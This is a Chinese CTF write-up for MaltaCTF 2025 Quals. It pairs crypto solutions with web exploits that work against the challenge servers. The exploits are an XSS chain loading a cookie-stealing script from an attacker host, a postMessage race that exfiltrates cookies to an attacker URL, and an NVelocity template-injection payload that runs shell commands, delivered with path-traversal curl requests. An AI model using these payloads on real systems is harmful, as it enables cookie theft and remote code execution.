MaltaCTF 2025 Quals WriteUps

發表於
分類於 CTF

這周與 ${cystick} 參加了由 FMC 舉辦的 MaltaCTF 2025 Quals,題目如預期的一樣既好玩也有挑戰性。這次我只有解了幾題 crypto 與 web 的題目而已。

crypto

2log

from sage.all import matrix, GF, ZZ, randint
                  
FLAG = b"maltactf{???????????????????????????????????}"
k0, k1 = int.from_bytes(FLAG[:len(FLAG)//2+4], "big"), int.from_bytes(FLAG[len(FLAG)//2:], "big")

G = matrix(ZZ, [[1401, 2],[-2048, 1273]])
h1 = ((G**k0)[0][0]).bit_length() - randint(-2**32, 2**32)

G = matrix(GF(2**255-19), G)
h2 = (G**k1)[0][0]
h3 = (G**k1)[0][1]
print(f'{h1 = }')
print(f'{h2 = }')
print(f'{h3 = }')
"""
h1 = 1825310437373651425737133387514704339138752170433274546111276309
h2 = 6525529513224929513242286153522039835677193513612437958976590021494532059727
h3 = 42423271339336624024407863370989392004524790041279794366407913985192411875865
"""

這題簡單來說要你解決兩個 log 的問題,第一個是給你:

h1=log2(G0,0k0)±ϵh_1 = \log_2(G^{k_0}_{0,0}) \pm \epsilon

目標是求 k0k_0

這部分可以利用 G0,0kλdkG^k_{0,0} \approx |\lambda_d|^k 的性質去做,其中 λd\lambda_d 是絕對值最大的特徵值。所以 k0h1log2λdk_0 \approx \frac{h_1}{\log_2 |\lambda_d|}。具體做下去會發現 GG 的特徵值只有 13371337 重根。

第二個 log 的部分是給予你

v=xGk1,x=(1,0)v=x G^{k_1}, x=(1,0)

全部都在 Fp\mathbb{F}_p 下做,目標是求 k1k_1

因為 GG 的特徵值重複,所以不能對角化,所以有個 jordan form:

J=(λ10λ)J = \begin{pmatrix} \lambda & 1 \\ 0 & \lambda \end{pmatrix}

然後存在 PP 矩陣使得 G=PJP1G = PJP^{-1}。所以 Gk=PJkP1G^k = PJ^kP^{-1}

其中 jordan form 的 power 是:

Jk=(λkkλk10λk)J^k = \begin{pmatrix} \lambda^k & k \lambda^{k-1} \\ 0 & \lambda^k \end{pmatrix}

既然 x,vx,v 都已知,可以直接解線性方程求 kk

from sage.all import *

h1 = 1825310437373651425737133387514704339138752170433274546111276309
h2 = 6525529513224929513242286153522039835677193513612437958976590021494532059727
h3 = 42423271339336624024407863370989392004524790041279794366407913985192411875865

ln = 45  # flag length


# stage 0
G = matrix(ZZ, [[1401, 2], [-2048, 1273]])
print(G.eigenvalues())  # 1337, 1337
lam = int(G.eigenvalues()[0])
k0 = int(round(h1 / log(lam, 2)))

# stage 1
F = GF(2**255 - 19)
G = matrix(F, G)
v = vector([h2, h3])
J, P = G.jordan_form(transformation=True)
assert P * J * ~P == G
# J =
# [1337 1]
# [ 0 1337]
# J^k =
# [1337^k  k*1337^(k-1)]
# [0 1337^k]

# x=[1 0]
# v=x*G^k=x*P*J^k*~P
# v*P=(x*P)*J^k
vP = v * P
xP = P[0]
k, lk1 = polygens(F, ["k", "lk1"])  # k, lam^(k-1)
z0, z1 = xP * matrix([[lk1 * lam, k * lk1], [0, lam * lk1]]) - vP
k1 = int(z0.sylvester_matrix(z1, lk1).det().univariate_polynomial().roots()[0][0])

flag0 = k0.to_bytes(ln // 2 + 4, "big")[:-4]
flag1 = k1.to_bytes(ln - ln // 2, "big")
print(flag0 + flag1)
# maltactf{tw0-d10g5?_m0r3_l1kE_d0ubl3-l1nAlg!}

grammar nazi

from Crypto.Util.number import *

FLAG = 'maltactf{???????????????????????????????}'
assert len(FLAG) == 41

p = getPrime(128)
q = getPrime(128)
N = p * q
e = 65537

m = f'The flag is {FLAG}'
c = pow(bytes_to_long(m.encode()), e, N)

# ERROR: Sentences should end with a period.
m += '.'
c += pow(bytes_to_long(m.encode()), e, N)

# All good now!
print(f'{N = }')
print(f'{c = }')

'''
N = 83839453754784827797201083929300181050320503279359875805303608931874182224243
c = 32104483815246305654072935180480116143927362174667948848821645940823281560338
'''

RSA 題,首先 nn 只有 256 bits 可以直接分解 (or factordb lol),但困難點在於這題的 cc 不是一般的 RSA 加密。

f'The flag is {FLAG}' 的部分為 xx,那麼 cc 的計算方式為:

c=xe+(256x+46)emodnc = x^e + (256x + 46)^e \mod n

所以就有個多項式

f(x)=xe+(256x+46)ecf(x) = x^e + (256x + 46)^e - c

我們要求它在 Fp,Fq\mathbb{F}_p, \mathbb{F}_q 的根,然後 CRT 合併即可。然而有個比較麻煩的是 e=65537e=65537 並不小,用 sage 的 f.roots() 算不出來。

這部分我是先用了 pari.polrootsmod 解決,這比 sage 的 f.roots() 快上不少。然後看到 flag 知道說有另一個利用 fermat little theorem 的方法:

關鍵是 xpxx^p - x 包含了 Fp\mathbb{F}_p 上的所有元素,所以取多項式 g(x)=xpxmodfg(x) = x^p - x \mod{f},那麼 ggff 就有相同的根,所以對 gcd(f,g)\gcd(f, g) 求根即可。這個方法我後來才想起來有在這邊看到過。

最後各自解出來後用 crt 合併,還要注意它整個 message 的長度是大於 nn 的,所以要把已知的 plaintext 部分去掉,只留下 ????... 的部分。

from sage.all import *

n = 83839453754784827797201083929300181050320503279359875805303608931874182224243
c = 32104483815246305654072935180480116143927362174667948848821645940823281560338
p = 276784813000398431755706235529589161781
q = n // p
assert n == p * q
e = 65537


def solve_rs(p):
    x = polygen(GF(p))
    f = x**e + (x * 256 + ord(".")) ** e - c
    return [int(x.sage()) for x in pari.polrootsmod(f, p)]


def solve_rs2(p):
    x = polygen(GF(p))
    f = x**e + (x * 256 + ord(".")) ** e - c
    g = pow(x, p, f) - x
    return [int(x) for x, _ in f.gcd(g).roots()]


rsp = solve_rs(p)
rsq = solve_rs(q)

tmpl = int.from_bytes(
    b"The flag is maltactf{???????????????????????????????}".replace(b"?", b"\x00"),
    "big",
)
for rp in rsp:
    for rq in rsq:
        r = crt([rp, rq], [p, q])
        f = (r - tmpl) / 256 % n
        flag = int(f).to_bytes(41, "big").strip(b"\x00")
        if flag.isascii():
            print(flag)
# maltactf{Ferm4ts_littl3_polyn0mial_tr1ck}

true random

from qiskit.circuit.random import random_circuit
from qiskit.quantum_info import Operator
from qiskit.quantum_info import Statevector
from numpy import array, save
from math import log2
import random
random = random.SystemRandom()
flag = open("flag.txt", "r").read().strip()
flag_len = len(flag)*8
assert flag_len == 256
depth = 10
qubits = int(log2(flag_len))

flag_bits = [int(bit) for bit in ''.join(format(ord(c), '08b') for c in flag)]



def random_pair(op):
    otp_key = [random.choice([0,1]) for _ in range(flag_len)]
    i = Statevector(otp_key)
    f = i.evolve(op)
    enc = array([flag_bits[i] ^ otp_key[i] for i in range(flag_len)])
    return array([enc, f.data])

ops = []
for _ in range(13):
    qc = random_circuit(qubits, depth, measure=False)
    op = Operator(qc)
    ops.append(op)

sets = 256
data = array([random_pair(random.choice(ops)) for _ in range(sets)])
save("enc.npy", data)

這題給你 256 個用 otp 加密的 flag,然後用 qiskit 生成的隨機未知 quantum circuit 對 otp 的 key bits 做轉換的結果給你。

這邊我發現到它輸出的 f.data 是個 256 大小的 complex vector,把它們的 norm 加起來正好是 sum(otp_key),所以可以知道 otp key 中有幾個 11

因此我們的問題就變成了: 有很多 flag 的 otp ciphertext,且我們知道 key 的 hamming weight,怎麼求 flag?

這個問題讓我想起 SEETF 2022 - Neutrality,和它幾乎一樣,所以直接把它的 LLL 解法複製過來就行了。

from sage.all import *
import numpy as np
from tqdm import tqdm
from binteger import Bin

bits = 256

P = PolynomialRing(ZZ, bits, "x")
fs = P.gens()

data = np.load("enc.npy")

# ref: https://blog.maple3142.net/2022/06/06/seetf-2022-writeups/#neutrality
eqs = []
for enc, fdata in tqdm(data):
    hw = int(
        round(sum([abs(x) ** 2 for x in fdata]))
    )  # this is the hamming weight of the otp
    eq = sum([(f - e) ** 2 for f, e in zip(fs, enc.astype(int))]) - hw
    eqs.append(eq)

eqs = Sequence([f - g for f, g in zip(eqs, eqs[1:])])
M, monos = eqs.coefficients_monomials()
M = M.dense_matrix()
A = M[:, :-1]
b = vector(M[:, -1])


def lllsolve(A, b):
    # find a *small* solution x such that A*x=b
    A = A.T
    nr, nc = A.dimensions()
    A = A.augment(matrix.identity(nr))
    A = A.stack(vector(list(b) + [0] * nr))
    A[:, :nc] *= 2**30
    for row in A.LLL():
        if row[:nc] == 0:
            return row[nc:]


sol = lllsolve(A, b)
print(Bin(sol).bytes)
# maltactf{f55dc5132f9529106d6e:3}

web

fancy text generator

xss 題,server:

app.use((req, res, next) => {
    res.set('Content-Security-Policy', "script-src 'sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=' 'strict-dynamic'; object-src 'none';");
    next();
  });

app.get('/', (req, res) => {
    const window = new JSDOM('').window;
    const DOMPurify = createDOMPurify(window);
    return res.render('index', {text: DOMPurify.sanitize(req.query.text)})
})

代表題目有個 nonce + strict-dynamic 的 CSP,然後主要的 route 會接收 html 輸入後用 dompurify 處理後放到頁面上。而 index.ejs 確實可以做 injection:

<head>
    <title>Fancy Text Generator!</title>
    <link href="https://cdn.jsdelivr.net/npm/pace-js@1.2.4/pace-theme-center-atom.min.css" rel="stylesheet">
    <link href="/style.css" rel="stylesheet">
    <script integrity="sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=" src="/loader.js"></script>
</head>
<body>
    <h1>Fancy text generator</h1>
    <div id="contentBox"><%- text || "fancy text generator!" %></div>
    </br>
    <form action="/" method="GET">
        <input name="text" placeholder="text to make fancy">
	<input type="submit" value="submit">
    </form>
</body>

顯然,在沒辦法繞過 dompurify 的情況下,這樣什麼也做不到,就算能繞過也還有 csp 擋著。所以關鍵在於 loader.js:

scripts = {
    "pace": "https://cdn.jsdelivr.net/npm/pace-js@latest/pace.min.js",
    "main": "/main.js",
}

function appendScript (src) {
    let script = document.createElement('script');
    script.src = src;
    document.head.appendChild(script);
};

for (let script in scripts) {
    appendScript(scripts[script]);
}

分別載入 pace.min.jsmain.js。前者首先可以在這裡看到它有來自 dom 的 prototype pollution:

<div data-pace-options='{"__proto__":{"a":1}}'></div>

但實際執行下去會發現沒成功,這是因為 main.js 會這麼做:

const toFancyText = (text) => {
    // some processing with text
}

contentBox.innerText = toFancyText(contentBox.innerText)

而你 inject 的 html 就在 #contentBox 中,所以 main.js 如果比 pace.js 先載入完成那麼你的 html 就會被覆蓋掉,導致污染失敗。繞過的方法也很簡單,就給你的 div 多 id="contentBox",這樣透過 window[id] 的 access 就會拿到 html collection,然後導致 toFancyText 出現 error,這樣你的 html 就不會被覆蓋掉了。

<div id="contentBox" data-pace-options='{"__proto__":{"a":1}}'></div>

接下來是要怎麼只靠 prototype pollution 到 XSS,而我這邊自己是沒找到方法,所以改在 pace.js 找找看有沒有其他 gadget,然後就在 pace.js 中多發現了一個 xss: 這裡

既然有 xss 代表我們可以注入 iframe,在 iframe 中先用 pace.js 去 PP,然後之後再重新觸發一次 loader.js 的載入那 for (let script in scripts) 就會拿到我們污染過的 prototype value,所以可以控制 appendScript 要載入的目標。

生成 payload 的腳本 (在題目頁面的 console 中執行):

html = `<iframe srcdoc='
<img id=contentBox data-pace-options="{ &amp;quot;__proto__&amp;quot;: {&amp;quot;a&amp;quot;:&amp;quot;https://ATTACKER_SERVER/exp.js&amp;quot;} }">
<script integrity="sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=" src="/loader.js"></script>
<script integrity="sha256-1ltlTOtatSNq5nY+DSYtbldahmQSfsXkeBYmBH5i9dQ=" src="https://ATTACKER_SERVER/loader.js.php" crossorigin="anonymous"></script>
'></iframe>`
html = html.replace(/"/g, '\\u0022').replace(/'/g, '\\u0027').replace(/\n/g, '\\n').replace(/&/g, '\\u0026')
location =
	'/?text=' +
	encodeURIComponent(`
<img id=contentBox data-pace-options='{ "startOnPageLoad": true, "className": "peko \\">${html}", "__proto__": {"a":1} }'>
`)
// maltactf{oops_my_dependency_is_buggy_05b19465ce19db4e28ddb00bb19f101e}

其中的 exp.js 是偷 cookie 的 payload,不重要。而 loader.js.php 是一個簡單的 PHP 程式,在 delay 後輸出 loader.js 的內容,這樣就能確保第二次 loader.js 的載入會使用污染過的 prototype。

<?php
sleep(1);
header('Access-Control-Allow-Origin: *');
header('Content-Type: application/javascript');
echo file_get_contents('https://fancy-text-generator-web.shared.challs.mt/loader.js');

AdBlocker

這題有兩個 origin: webanalytics

flag 放在 analytics 的 cookie 中,它有個 /integrate 頁面接收 postMessage,如果來源是特定 origin (包括 web) 的化可以讓它主動把 flag 送到任意地方去:

<script>
    const TRUSTED_ORIGINS = [/*TRUSTED_ORIGINS*/];

    function isTrustedOrigin(origin) {
        return TRUSTED_ORIGINS.includes(origin);
    }

    window.addEventListener('message', (event) => {
        if (!isTrustedOrigin(event.origin)) {
            console.warn('Rejected message from untrusted origin:', event.origin);
            return;
        }

        if (!event.data || typeof event.data !== 'object') {
            console.warn('Invalid message format received');
            return;
        }

        if (event.data.analytics && event.data.url) {
            if (isTrustedOrigin(event.origin)) {
                navigator.sendBeacon(event.data.url, JSON.stringify({"analytics-tracking-cookies": document.cookie, "url": event.data.url}));
            }
        }
    });

    if (window.parent) {
        window.parent.postMessage({
            payload: 'Integration successful :D'
        }, '*'); 
    }
</script>

所以我們需要想辦法拿 web origin 下的 xss。

然後 web 部分有個 /ad.html,重點部分如下:

<script>
    window.addEventListener('message', (event) => {
        if (event.source.parent !== window) {
            return;
        }
        if (event.data && event.data.payload) {
            document.getElementById('ad-hello').innerHTML = event.data.payload;    
        }
    });

    function tempAd() {
        const iframe = document.createElement('iframe');
        iframe.src = `http://${window.location.hostname}:3000/integrate`;
        iframe.width = '100%';
        iframe.height = '100%';
        iframe.style.border = 'none';
        
        const container = document.getElementById('ad-container');
        container.appendChild(iframe);
        
        setTimeout(async () => {
            await import('/ad.js');
        }, 1);
    }

    tempAd();
</script>

它會載入 analytics/integrate 頁面,然後該 iframe 傳來的 html 放到頁面上,所以如果可控就能 xss。所以一個很簡單的想法是透過 window reference 做 w.frames[0].location = ... 去改掉 iframe 的頁面,然後 post message 就能觸發 web 的 xss。

然而直接這樣做行不通,因為 ad.js 會在 ping 過 analytics 之後把 iframe 移除:

(async function() {
    const container = document.getElementById('ad-container');
    
    const currentHost = window.location.hostname;
    const analyticsUrl = `http://${currentHost}:3000/ping`;
    
    try {
        await fetch(analyticsUrl);
        if (container && container.firstChild) {
            container.removeChild(container.firstChild);
        }
    } catch (error) {
        console.log('Analytics service not available');
    }
})(); 

所以攻擊要成功需要在他移除 iframe 前就把上面的事情做完,這並不容易。不過我這邊換個方向想,把它 fetch 那邊卡住不就好了? 因為瀏覽器有些 connection pool 的機制,會依照某些規則限制 connection 的數量,所以只要在我們的 exploit page 狂 fetch analytics/ping 頁面去 delay 那個 fetch,那就能成功攻擊。

<script>
	const sleep = ms => new Promise(resolve => setTimeout(resolve, ms))
	const main = async () => {
		const runInAttackerOrigin = async () => {
			const runInAdOrigin = async () => {
				console.log('xss', location.href, origin)
				const w = window.open('http://analytics:3000/integrate', '_blank')
				setTimeout(() => {
					w.postMessage(
						{
							url: 'http://ATTACKER_SERVER/flag.php',
							analytics: true
						},
						'*'
					)
				}, 500)
			}
			const xss = `<img src=x: onerror="(${runInAdOrigin})()">`
			parent.postMessage(
				{
					payload: xss
				},
				'*'
			)
		}
		const frameurl = URL.createObjectURL(
			new Blob([`<script>(${runInAttackerOrigin})()<\/script>`], { type: 'text/html' })
		)

		let cnt = 0
		const it = setInterval(() => {
			for (let i = 0; i < 20; i++) fetch('http://analytics:3000/ping') // prevent analytics /ping from being loaded
			for (let i = 0; i < 1000; i++) {
				try {
					w.frames[0].location = frameurl
					console.log('success')
					clearInterval(it)
					break
				} catch {}
			}
			if (cnt > 10) clearInterval(it)
			cnt++
		}, 1)
	}
	main()
	// maltactf{th1s_w4s_4s_exh4ust1V3_aS_th3_C0nnection_P00l}
</script>
<iframe
	src="http://web:1337/ad.html"
	name="w"
	sandbox="allow-same-origin allow-scripts allow-popups allow-popups-to-escape-sandbox"
></iframe>

Enterprise Template as a Service

dotnet 題,關鍵在於下面這段:

app.MapPost("/", async (HttpContext context) =>
{
    var form = await context.Request.ReadFormAsync();
    string templateName = form["template"];
    if (string.IsNullOrEmpty(templateName))
    {
        await context.Response.WriteAsync("missing template field");
        return;
    }

    var templatePath = Path.Combine("templates", templateName);

    VelocityEngine velocity = new VelocityEngine();
    velocity.Init();

    VelocityContext velocityContext = new VelocityContext();
    velocityContext.Put("name", System.Net.WebUtility.HtmlEncode(form["name"].ToString()));
    velocityContext.Put("url", System.Net.WebUtility.HtmlEncode(form["url"].ToString()));
    velocityContext.Put("date", System.Net.WebUtility.HtmlEncode(DateTime.Now.ToString()));

    var writer = new StringWriter();
    try {
        var template = await File.ReadAllTextAsync(templatePath);
        Boolean ok = velocity.Evaluate(velocityContext, writer, templateName, template);
    } catch (Exception e) {
        await context.Response.WriteAsync("template rendering failed");
        return;
    }


    context.Response.ContentType = "text/html; charset=utf-8";
    await context.Response.WriteAsync(writer.ToString());
});

簡單來說可以指定一個 path 去讀取,然後它會用 NVelocity 這個 template engine 去 render。目標是 RCE 呼叫 /readflag

首先,顯然目標是要 SSTI,但它的 payload 只能來自 local,怎麼辦? 這其實不難,直接透過很多 framework 都有的 big file upload buffering 就能做到了,通常會把上船的檔案暫存在某個地方,雖然不知道檔名但我們還是可以用 /proc/self/fd/... 去讀。這種技巧應該算蠻老套的 CTF 技巧,例如之前 UIUCTF 2022 - spoink 我就是這麼做的。

所以剩下的只是用 Nvelocity 的語法透過 c# 的 reflection 去 call shell 而已,這部分就自己上網查資料,花點時間就構造出 payload 了:

#set($e="e")

#set($loadfile=$e.GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile"))
$loadfile

#set($args=["/usr/share/dotnet/shared/Microsoft.NETCore.App/8.0.17/System.Diagnostics.Process.dll"])
#set($proc=$loadfile.Invoke($null, $args.ToArray()))
#set($methods=$proc.GetType("System.Diagnostics.Process").GetMethods())
#set($args=["sh", "-c /readflag>/tmp/flag"])
#foreach($meth in $methods)
    $velocityCount: $meth
    #if($velocityCount == 71)
        #set($r=$meth.Invoke($null, $args.ToArray()))
        $r.WaitForExit()
        $r.ExitCode
    #end
#end

上面就是先從 String 拿到 Assembly,然後 LoadFile 載入 System.Diagnostics.Process.dll,然後透過 Process.start 去跑 shell,把 flag 寫到 /tmp/flag。這樣我們第二次用 path traversal 去讀 /tmp/flag 就能拿到 flag 了。

具體的打 exploit 要先把上面的內容存到 test.tmpl,後面塞一堆垃圾 padding 讓他超過 64kb,之後 race 一下就行:

for i in {1..10}; do curl 'https://etaas-619ec4c980a829be.instancer.challs.mt' -F 'template=../../../../../proc/1/fd/231' -F 'name=qw' -F 'url=cc' -F 'qq=@test.tmpl' &; done

有成功的話就發另一個 request 讀檔案即可:

curl 'https://etaas-619ec4c980a829be.instancer.challs.mt' -F 'template=../../../../../tmp/flag' -F 'name=w' -F 'url=cc' -F 'qq=q'
# maltactf{why_is_there_java_in_my_c#_6e95af9cd14fdcb0e544afccc5108c85}